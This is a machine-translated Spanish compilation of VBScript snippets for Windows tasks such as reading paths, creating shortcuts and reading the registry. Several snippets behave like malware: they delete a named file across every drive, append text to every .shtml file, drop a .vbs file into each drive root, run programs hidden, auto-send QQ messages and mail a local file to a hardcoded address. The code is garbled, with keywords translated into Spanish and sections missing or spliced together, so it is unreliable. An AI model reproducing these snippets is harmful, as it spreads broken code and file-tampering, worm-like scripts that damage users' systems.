Esta es una colección personal que se te entrega a ti.
1.VBS obtiene la ruta establecida
1.1.VBS obtiene la ruta de instalación del sistema
Código de programa
set WshShell = WScript. CreateObject( "WScript.Shell")
strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%")
El código anterior significa que primero definimos esta variable para obtener la ruta de instalación del sistema. y luego usamos "&strWinDir&" para llamar a esta variable.
1.2.C:\Ruta de archivos de programa
Código de programa
msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%ProgramFiles%")
1.3.C:\Archivos de programa\Ruta de archivos comunes
Código de programa
msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%CommonProgramFiles%" )
2. Agregue un acceso directo URL al escritorio
Código de programa
set gangzi = WScript.CreateObject("WScript.Shell")
strDesktop = gangzi.SpecialFolders("Desktop")
set oShellLink = gangzi.CreateShortcut(strDesktop & "\Internet Explorer.lnk")
oShellLink.TargetPath = ""
oShellLink.Description = "Internet Explorer"
oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0"
oShellLink.Save
3. Agregar URL a favoritos
Código de programa
Const ADMINISTRATIVE_TOOLS = 6
Establecer objShell = CreateObject("Shell.Application" )
Establecer objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)
Establecer objFolderItem = objFolder.Self
Establecer objShell = WScript.CreateObject("WScript.Shell")
strDesktopFld = objFolderItem.Path
Establecer objURLShortcut = objShell.CreateShortcut(strDesktopFld & "\小游戏网站.url")
objURLShortcut.TargetPath = "/ cdo/configuration/"
Establecer correo electrónico = CreateObject("CDO.Message")
Email.From = "Send@qq.com"
Correo electrónico. Para = "Receive@qq.com"
Email.Subject = "Prueba sendmail.vbs"
Email.Textbody = "¡OK!"
Correo electrónico. AddAttachment "C:\1.txt"
Con Email.Configuration.Fields
.Item(NameSpace&"sendusing") = 2
.Item (NameSpace& "servidor smtp")
= "smtp.mailserver.com"
.Item(NameSpace&"smtpserverport") = 25
.Item(NameSpace&"smtpauthenticate") = 1
. Item(NameSpace&"sendusername") = "Nombre de usuario del remitente"
.Item(NameSpace&"sendpassword") = "Contraseña del remitente"
.Update
Finalizar con
Email.Send
12.VBS finalizar proceso
Código de programa
strComputer = "."
Establecer objWMIService = GetObject _
("winmgmts:\\" & strComputer & "\root\cimv2")
Establecer colProcessList = objWMIService.ExecQuery _
("Seleccione * de Win32_Process donde Nombre = 'Rar.exe'")
Para cada objProcess en colProcessList
objProcess.Terminate()
Siguiente p>
13. VBS oculta y abre la URL
13.1 Algunos navegadores no pueden ocultarla ni abrirla, pero la abren directamente, lo cual es adecuado para usuarios comunes
Código de programa.
createObject("wscript.shell").run "iexplore ",vbhide
14. VBS recorre el disco duro para eliminar el nombre de archivo especificado (a continuación agregué un proceso para finalizar). el proceso primero y luego eliminarlo Función, se puede eliminar si no es necesario)
Código de programa
En caso de error, reanudar siguiente
Atenuar fPath
strComputer = "."
Establecer objWMIService = GetObject _
("winmgmts:\\" & strComputer & "\root\cimv2")
Establezca colProcessList = objWMIService.ExecQuery _
("Seleccione * de Win32_Process donde Nombre = 'gangzi.exe'")
Para cada objProcess en colProcessList
objProcess .Terminate()
Siguiente
Establecer objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Establecer colDirs = objWMIService. _
ExecQuery("Seleccione * de Win32_Directory donde nombre LIKE '%c:%' o nombre LIKE '%d: %' o nombre LIKE '%e :%' o nombre LI
KE '%f:%' o nombre COMO '%g:%' o nombre COMO '%h:%' o nombre COMO '%i:%'")
Set objFSO = CreateObject("Scripting .FileSystemObject")
Para cada objDir en colDirs
fPath = objDir.Name & "\gangzi.exe"
objFSO.DeleteFile(fPath), True
Siguiente
15.VBS obtiene la dirección MAC de la tarjeta de red
Código de programa
Dim mc,mo
Establezca mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
Para cada mes en mc
Si mo.IPEnabled=True entonces
MsgBox "La dirección MAC de la tarjeta de red local es: " & mo.MacAddress
Salir para
Finalizar si
Siguiente
16.Adquisición de VBS Dirección de la página de inicio del registro local
Código de programa
Establecer reg=WScript.CreateObject("WScript.Shell")
startpage=reg.RegRead ("HKEY_CURRENT_USER \Software\Microsoft\Internet Explorer\Main\Start Page")
Página de inicio de MsgBox
17.VBS recorre todos los directorios de todos los discos, encuentra todos los archivos .txt y luego le da a todos Agregar una oración en la parte inferior del archivo de texto
Código de programa
En caso de error Reanudar siguiente
Set fso = CreateObject("Scripting.FileSystemObject" )
Co = VbCrLf & "Pasando. . .
"
Para cada i en fso.Drives
Si i.DriveType = 2 entonces
GF fso.GetFolder(i & "\")
Finalizar si
Siguiente
Sub GF(fol)
Wh fol
Dim i
Para cada i en fol.SubCarpetas
GF i
Siguiente
End Sub
Sub Wh(fol)
Atenuar i
Para cada i en fol.Files
Si LCase(fso.GetExtensionName(i)) = "shtml" Entonces
fso. OpenTextFile(i,8,0).Write Co
End If
Next
End Sub
Obtiene todos los discos de el símbolo de la computadora
Código de programa
Set fso=CreateObject("scripting.filesystemobject")
Set objdrives=fso.Drives 'Obtiene todas las unidades de disco del computadora actual
Para cada objdrive En objdrives 'Recorre el disco
MsgBox objdrive
Siguiente
19.VBS crea archivos para todos los discos directorios raíz de la máquina (Original de Gangzi)
Código de programa
En caso de error, reanudar a continuación
Establecer fso=CreateObject("Scripting.FileSystemObject") p>
Establecer gangzis=fso.Drives 'Obtener todas las unidades de disco de la computadora actual
Para cada gangzi En gangzis 'Recorrer el disco
Establecer TestFile=fso.CreateTextFile( ""&gangzi&"\Nueva carpeta de archivos.vbs",Ture)
TestFile.WriteLine("Por www.gangzi.org")
TestFile.Close
Siguiente
20.VBS recorre toda la máquina para encontrar todos los 123.exe y luego les cambia el nombre a 321.exe
Código de programa
set fs = CreateObject ("Scripting.FileSystemObject")
para cada unidad en fs.drives
fstraversal drive.rootfolder
siguiente
sub fstraversal( byval this)
para cada carpeta en this.subcarpetas
carpeta fstraversal
siguiente
establecer archivos = this.files
para cada archivo en archivos
si file.name = "123.exe" entonces file.name = "321.exe"
>siguiente
end sub
21. VBS escribe código en el portapapeles (en primer lugar, VBS escribe contenido en el portapapeles, lo que siempre se hace a través del objeto InternetExplorer.Application en el Internet, pero la desventaja es que el navegador aparecerá cuando el navegador predeterminado no sea IE, por lo que tomó mucho esfuerzo encontrar este código para implementarlo)
Código de programa
str=" Aquí está la cadena que desea copiar al portapapeles"
Establezca ws = wscript.createobject("wscript.shell")
ws.run "mshta vbscript: clipboardData.SetData( "+""""+"text"+"""+","+""""&str&"""+")(cerrar)",0,true
22.QQ Enviar mensajes automáticamente (guarde BVS y ejecútelo para ver el efecto. Espero que los expertos puedan hacer inferencias y ser original de Gangzi)
Código de programa
En caso de error, reanudar a continuación
str= "Soy un tonto/qq"
Establecer WshShell=WScript.CreateObject("WScript.Shell")
WshShell.run "mshta vbscript :clipboardData.SetData("+""" "+"texto"+"""+","+""""&str&"""+")(cerrar)",0
WshShell .ejecutar "tencent://mensaje/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,true
WScript 3000
WshShell.SendKeys "^v "
WshShell .SendKeys "%s"
23.Archivo oculto VBS
Código de programa
Set objFSO = CreateObject("Scripting .FileSystemObject")
Establecer objFile = objFSO.GetFile("F:\Software Competition\show.txt")
Si objFile.Attributes = objFile.Attributes AND 2 Entonces p>
objFile.Attributes = objFile.Attributes XOR 2
End If
24.VBS genera números aleatorios (521 es la regla de generación, diferentes números tienen diferentes reglas de generación y se puede utilizar para otros fines) p>
Código de programa
Aleatorio 521
point=Array(Int(100*Rnd+1),Int(1000*Rnd +1),Int(10000*Rnd +1))
msgbox join(point,"")
25.VBS elimina el icono de IE del escritorio (no el acceso directo)
Código de programa
Establecer oShell = CreateObject("WScript.Shell")
oShell.RegWrite "HKCU\Software\Microsoft\Windows\C
urrentVersion\Policies\Explorer\NoInternetIcon",1,"REG_DWORD"
26.VBS obtiene su propio nombre de archivo
Código de programa
Set fso = CreateObject( " Scripting.FileSystemObject")
msgbox WScript.ScriptName